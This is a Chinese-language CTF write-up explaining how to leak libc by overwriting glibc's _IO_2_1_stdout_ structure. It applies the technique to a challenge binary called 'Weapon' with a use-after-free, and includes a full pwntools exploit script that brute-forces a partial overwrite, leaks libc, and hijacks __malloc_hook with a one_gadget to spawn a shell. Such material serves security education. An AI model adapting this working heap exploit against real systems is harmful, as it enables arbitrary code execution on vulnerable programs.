IO_FILE利用之_IO_2_1_stdout泄露libc

当俺们进行文件操作时,Linux内核会创建一些结构体来描述这些文件,当我们对结构体操作时就相当于对文件操作。

FILE结构

FILE 在 linux 系统的标准IO库使用来描述文件结构,称之为文件流。

“流”是一种抽象概念,只是人们为了便于描述数据的流向而创造的名称。

比如说当我们要输出磁盘中记录的数据,那么在计算机中首先会将磁盘中的数据加载进内存,那么磁盘–>内存这种流向就被抽象叫做”流”。

进程中的FILE结构会通过 _chain域彼此连接形成一个链表,链表头部用全局变量_IO_list_all表示,通过这个值可以遍历所有的FILE结构,大致的链表结构如下图:

1

每个程序启动时有三个文件流是自动打开的:stdinstdoutstderr

因为会自动打开,所以在初始状态下,_IO_list_all 指向了一个有这些文件流构成的链表,但是需要注意的是这三个文件流位于的是libc.so的数据段

具体原理可以参考下方博客


简言之

想办法写入 IO_2_1_stdout(一般是利用 unsortedbin ),让_flags = 0xFBAD1800,然后让后面的三个read参数为0,让write_base为’\x00’

2

例题

保护机制

image-20211111113559572

保护全开,不能改函数 got 表

add

image-20211111114124706

逻辑是输入申请大小,再输入 index ,然后就写入 chunk,但是大小不能超过 0x60

没有任何检查,比如申请过的 index 不能用之类的

free

image-20211111114507443

uaf 漏洞

edit

image-20211111114631037

没有检查该 idx 是否已被 free

不能用 unsorted bin 来泄露地址了,于是想到用 __IO_2_1_stdout 来泄露信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#coding:utf8
from pwn import *

context(os='linux',arch='amd64',log_level='debug')

#sh = process("./Weapon")
#sh = remote("node3.buuoj.cn","25197")
one_gadget = [0x45216,0x45261,0xf02a4,0xf1147]

def g():
gdb.attach(sh)

def create(size,index,name):
sh.sendafter("choice >> \n",'1\n')
sh.sendafter("wlecome input your size of weapon: ",str(size)+'\n')
sh.sendafter("input index: ",str(index)+'\n')
sh.sendafter("input your name:\n",name)

def createX(size,index,name):
sh.sendafter("choice >> ",'1\n')
sh.sendafter("wlecome input your size of weapon: ",str(size)+'\n')
sh.sendafter("input index: ",str(index)+'\n')
sh.sendafter("input your name:",name)

def delete(index):
sh.sendafter("choice >> \n",'2\n')
sh.sendafter("input idx :",str(index)+'\n')

def deleteX(index):
sh.sendafter("choice >> ",'2\n')
sh.sendafter("input idx :",str(index)+'\n')

def rename(index,content):
sh.sendafter("choice >> \n",'3\n')
sh.sendafter("input idx: ",str(index)+'\n')
sh.sendafter("new content:\n",content)

def renameX(index,content):
sh.sendafter("choice >> ",'3\n')
sh.sendafter("input idx: ",str(index)+'\n')
sh.sendafter("new content:",content)


def baopo():
create(32,0,p64(0) + p64(0x21))
create(16,1,'1'*16)
create(16,2,'2'*16)
create(16,3,p64(0x70)+p64(0x51))

delete(1)
delete(2)

rename(2,'\x10')

create(16,4,'4'*16) #2 out of bins
create(16,5,'\x00')
create(48,6,'\x00') #6和7是凑数的,为了释放0x100的时候,下一个堆块得写入presize
create(48,7,'\x00')
create(16,8,'\x00') #防止fake chunk与top合并

rename(0,p64(0x0)+p64(0x71))

delete(5)

rename(0,p64(0x0)+p64(0x101))

delete(5)
#g()

rename(0,p64(0x0)+p64(0x71))

rename(5,'\xdd'+'\x65')
#g()
create(96,5,'\x00')
#g()

create(96,9,'\x00') #IO_2_1_stdout 此处爆破

g()

x = '\x00' * (0x620-0x5dd-0x10) + p64(0xfbad1800) + p64(0)*3 + '\x00' #IO_write_base改小
rename(9,x)

g()
sh.recvuntil(p64(0xfbad1800)+p64(0)*3)
sh.recv(8)
libc_base = u64(sh.recv(8)) - 131 -0x3c5620
# <_IO_2_1_stdout_+131>

print(hex(libc_base))
#g()
malloc_hook = libc_base + 0x3c4b10

createX(96,5,'\x00') #改完io之后puts完没有换行。。。

deleteX(5)

renameX(5,p64(malloc_hook-0x23))
#g()
createX(96,5,'\x00')

createX(96,1,'\x00'*0x13 + p64(one_gadget[3] + libc_base))
#g()

if(__name__ == '__main__'):

while(1):
try:
sh = process('./Weapon')
#sh = remote("node3.buuoj.cn","27532")
baopo()
sh.interactive()
break
except Exception as e:
print(e)
sh.close()
continue
'''

sh = process("./Weapon")
baopo()
sh.interactive()
'''


参考博客

https://blog.csdn.net/qq_41202237/article/details/113845320?spm=1001.2014.3001.5501

https://blog.csdn.net/BengDouLove/article/details/106390373